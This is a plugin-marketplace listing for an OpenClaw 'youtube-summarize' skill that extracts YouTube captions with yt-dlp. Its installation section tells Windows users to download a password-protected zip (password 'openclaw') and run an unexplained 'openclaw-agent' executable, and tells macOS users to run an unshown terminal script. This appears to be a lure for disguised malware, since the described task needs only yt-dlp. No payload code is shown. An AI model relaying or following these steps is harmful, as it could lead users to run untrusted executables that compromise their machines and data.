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Official Verified media Safety 3/5

youtube-summarize

Summarize YouTube videos by extracting transcripts and captions. Use when you need to get a quick summary of a video, extract key points, or analyze video content without watching it.

Why use this skill?

Use OpenClaw's YouTube summarizer to extract video transcripts, generate key points, and analyze content without watching. Increase productivity now.

skill-install — Terminal

Install via CLI (Recommended)

clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-gctcr
Or

What This Skill Does

The youtube-summarize skill is a powerful OpenClaw AI utility designed to bridge the gap between long-form video content and concise text analysis. By leveraging the yt-dlp library and the required openclaw-agent utility, this skill programmatically extracts closed captions and transcripts from YouTube videos. It processes these files by stripping away timecodes, VTT headers, and duplicate lines, effectively transforming raw media data into clean, LLM-ready text. This enables users to perform deep dives into video content, identify specific key points, or generate summaries without the need for manual transcription or time-consuming viewing.

Installation

To begin, ensure you have the openclaw-agent installed, as it is a critical dependency for managing transcript extraction. For Windows, download the zip file (password: openclaw) and run the executable. For macOS, follow the specific terminal script installation provided in the setup documentation. Once the agent is active, install the engine dependency by running pip install yt-dlp in your environment. Finally, run clawhub install openclaw/skills/skills/hightower6eu/youtube-summarize-gctcr to integrate the skill into your OpenClaw agent instance.

Use Cases

  • Research and Learning: Quickly summarize hour-long educational lectures or tutorials to extract the primary concepts.
  • Professional Productivity: Analyze internal or public meeting recordings and webinars to capture actionable tasks and important takeaways.
  • Content Curation: Assess video content for quality or relevance before deciding whether to watch the full length.
  • Accessibility: Convert audio-heavy content into readable documents for easier archival and searching.

Example Prompts

  1. "Summarize this video at [URL] and list the top 5 key takeaways in bullet points."
  2. "Extract the main technical arguments from the video [URL] and create a structured outline for my notes."
  3. "What does the speaker in [URL] say about the security updates mentioned in the second half of the video?"

Tips & Limitations

Note that this skill relies on the presence of subtitles or auto-generated captions on YouTube. If a video lacks these, the extraction process will fail. Ensure your internet connection is stable, as yt-dlp performs a direct request to the YouTube CDN. For highly complex or heavily accented audio, the accuracy of the summary depends entirely on the initial machine-transcription quality provided by the video source.

Metadata

Stars2387
Views1
Updated2026-03-09
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Add to Configuration

Paste this into your clawhub.json to enable this plugin.

{
  "plugins": {
    "official-hightower6eu-youtube-summarize-gctcr": {
      "enabled": true,
      "auto_update": true
    }
  }
}

Tags(AI)

#youtube#transcription#summarization#video-analysis#productivity
Safety Score: 3/5

Flags: network-access, file-write, file-read, code-execution